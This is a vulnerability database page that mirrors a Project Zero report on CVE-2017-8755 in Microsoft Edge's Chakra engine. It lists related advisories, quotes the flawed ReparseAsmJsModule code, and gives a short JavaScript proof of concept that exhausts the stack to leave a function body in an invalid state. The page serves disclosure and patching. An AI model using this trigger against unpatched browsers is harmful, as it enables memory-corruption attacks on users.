| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| Microsoft Edge Chakra - JavascriptFunction::ReparseAsmJsModule Incorrectly Re-parses Exploit | 21 Sep 201700:00 | – | zdt | |
| CVE-2017-8755 | 21 Sep 201700:00 | – | circl | |
| Microsoft Edge Memory Corruption Vulnerability (CNVD-2017-28323) | 13 Sep 201700:00 | – | cnvd | |
| CVE-2017-8755 | 13 Sep 201701:00 | – | cve | |
| CVE-2017-8755 | 13 Sep 201701:00 | – | cvelist | |
| September 12, 2017—KB4038782 (OS Build 14393.1715) | 12 Sep 201707:00 | – | mskb | |
| September 12, 2017—KB4038783 (OS Build 10586.1106) | 12 Sep 201707:00 | – | mskb | |
| September 12, 2017—KB4038788 (OS Build 15063.608) | 12 Sep 201707:00 | – | mskb | |
| KLA11098 Multiple vulnerabilities in Microsoft Edge and Microsoft Internet Explorer | 12 Sep 201700:00 | – | kaspersky | |
| Scripting Engine Memory Corruption Vulnerability | 12 Sep 201707:00 | – | mscve |
`Microsoft Edge: Chakra: JavascriptFunction::ReparseAsmJsModule incorrectly re-parses
CVE-2017-8755
This is similar to the <a href="/p/project-zero/issues/detail?id=1271" title="Microsoft Edge: Chakra: InterpreterStackFrame::ProcessLinkFailedAsmJsModule incorrectly re-parses" class="closed_ref" rel="nofollow"> issue 1271 </a>.
Here's the method used to re-parse asmjs modules.
void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef)
{
ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo();
Assert(functionInfo);
functionInfo->GetFunctionBody()->AddDeferParseAttribute();
functionInfo->GetFunctionBody()->ResetEntryPoint();
functionInfo->GetFunctionBody()->ResetInParams();
FunctionBody * funcBody = functionInfo->Parse(functionRef);
#if ENABLE_PROFILE_INFO
// This is the first call to the function, ensure dynamic profile info
funcBody->EnsureDynamicProfileInfo();
#endif
(*functionRef)->UpdateUndeferredBody(funcBody);
}
First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid).
We can make it throw an exception simply by exhausting the stack.
PoC:
function Module() {
'use asm';
function f() {
}
return f;
}
function recur() {
try {
recur();
} catch (e) {
Module(1);
}
}
recur();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation